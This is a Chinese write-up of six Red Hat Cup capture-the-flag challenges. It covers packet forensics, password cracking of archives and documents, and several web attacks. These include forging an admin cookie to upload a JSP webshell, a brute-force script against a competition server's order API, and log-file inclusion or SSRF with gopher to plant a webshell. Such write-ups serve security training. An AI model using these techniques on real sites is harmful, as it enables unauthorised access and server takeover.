红帽杯writeup

目录

Not Only Wireshark
听说你们喜欢手工爆破
这是道web题?
simple upload
shopping log
biubiubiu

Not Only Wireshark

题目是一个数据包,拿到数据包之后,先用wireshark进行分析,一般思路是提取数据包中的文件,提取到几个图片一开始以为是隐写,官方提示用tshark,使用tshark分析数据包:

tshark -r redhat.pcapng -2 http.request  //获取所有http请求包
image
分析/sqli/example2.php?name=123,这种url的参数为一堆十六进制,将其提取出来:

tshark -r redhat.pcapng -2 http.request | grep '/sqli/example2.php?name=' | awk '{print $9}'
image
处理得到十六进制字符串:
123404B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000

由504B猜测可能是zip压缩包,504B0304是zip文件头的重要信息,修复zip头信息,得到:
504B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000

将其转换为二进制文件:
xxd -p -r hex.txt bin.zip
直接解压缩需要密码,在数据包的一个请求头中有key=?id=1128%23
密码为?id=1128%23,解压得到flag
https://ctf-wiki.github.io/ctf-wiki/misc/archive/zip/

听说你们喜欢手工爆破

题目的压缩包里是.iso文件,解压缩后是一堆的文本文件和一个有密码的压缩包文件,很明显使用txt文件的文件名进行爆破,先用脚本提取出所有的文件名,

```
import os
//得到rar目录下所有的文件名
def Test2(rootDir):
    for lists in os.listdir(rootDir):
        path = os.path.join(rootDir, lists)
        print  "'"+ (path.replace('\\','/') + "'" +',').split('/')[1]
        if os.path.isdir(path):
            Test2(path)

Test2('rar')
```



然后用ARPR工具家在字典进行爆破,得到密码是0328fc8b43cb2ddf89ba69fa5e6dbc05。
image
里面是一个word文档,使用Advanced Office Password Recovery工具爆破得到密码5693
image
根据文件名搜索到曼彻斯特编码,里面恰好有一段编码123654AAA678876303555111AAA77611A321,直接到网上找到脚本:

```

n=0x123654AAA678876303555111AAA77611A321
flag=''
bs='0'+bin(n)[2:]
r=''

def conv(s):
    return hex(int(s,2))[2:]

for i in range(0,len(bs),2):
        if bs[i:i+2]=='01':
            r+='0'
        else:
            r+='1'

for i in range(0,len(r),8):
    tmp=r[i:i+8][::-1]
    flag+=conv(tmp[:4])
    flag+=conv(tmp[4:])

print flag.upper()
```

得到flag: flag{5EFCF5F507AA5FAD77}

这是道web题?

这道题吐槽一下,不知道是在搞咩。题目下载下来是一个yun cms程序。看到别人的解题思路做的。

先找到一个一句话木马,根据下面tshark提示,找到相应的数据包。78466550-3fc1-11e8-9828-32001505e920.pcapng,这个数据包中
image
找到example.php文件,文件1912K,使用binwalk分析可以看出是一个jpeg和gif文件,gif文件通过dd命令提取出来。
clipboard.png
my.gif
HTML解码直接得到falg: flag{S02y4orr5}

simple upload

这道题很简单,访问服务器返回Set-Cookie: admin=0,直接修改cookie中的值,admin=1直接上传jsp一句话,菜刀连接即可
image

shopping log

这道题逻辑很简单,增加几个http header信息,直接爆破orderid即可,验证需要进行md5爆破。直接贴上代码

```

import requests
import string
import hashlib

url = 'http://120.132.95.234/%s'
headers = {'Host': 'www.tmvb.com', 'Accept-Language': 'ja', 'Referer': 'www.dww.com'}
s = requests.session()

//生成彩虹表
md5_table = {}
target = (256 ** 3) / 2
i = 0

print 'Preparing md5 rainbow table...'
while True:
    md5_table[hashlib.md5(str(i)).hexdigest()[:6]] = str(i)
    i += 1
    if len(md5_table) >= target:
        break
    if len(md5_table) % 100000 == 0:
        print str(len(md5_table)) + ' / ' + str(target)
print str(len(md5_table)) + ' / ' + str(target)

# 9588
for i in range(9500, 10000):
    code = ''
    while True:
        r = s.get(url % '5a560e50e61b552d34480017c7877467info.php', headers=headers)
        r.encoding = 'utf-8'
        code = r.text.split("=== '")[1].split("'")[0]
        if code in md5_table:   
            break
    payload = {'TxtTid': i, 'code': md5_table[code]}
    r = s.post(url % 'api.php?action=report', headers=headers, data=payload)

    r.encoding = 'utf-8'
    print 'TxtTid=%d: %s' % (i, r.text)
    if "There's no such order." not in r.text: 
        break
```

这道题自己一开始写的爆破md5脚本,速度很慢,ctf中这种题目其实可以使用md5彩虹表的形式,以空间换时间,生成彩虹表大概需要1G,速度大大加快。

biubiubiu

    这道题两种解法,一种是文件包含日志文件拿shell,第二种是ssrf+gopher协议,预期解法是第二种。
写入一句话:
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/x.php 
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/index.php?page=/var/log/nginx/access //文件包含
image
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/ssrf.php

    直接菜刀连接,菜刀无法连接,用蚁剑连接,连接成功,读取conn.php,连接数据库,直接读取flag。
image

你可能感兴趣的:(红帽杯writeup)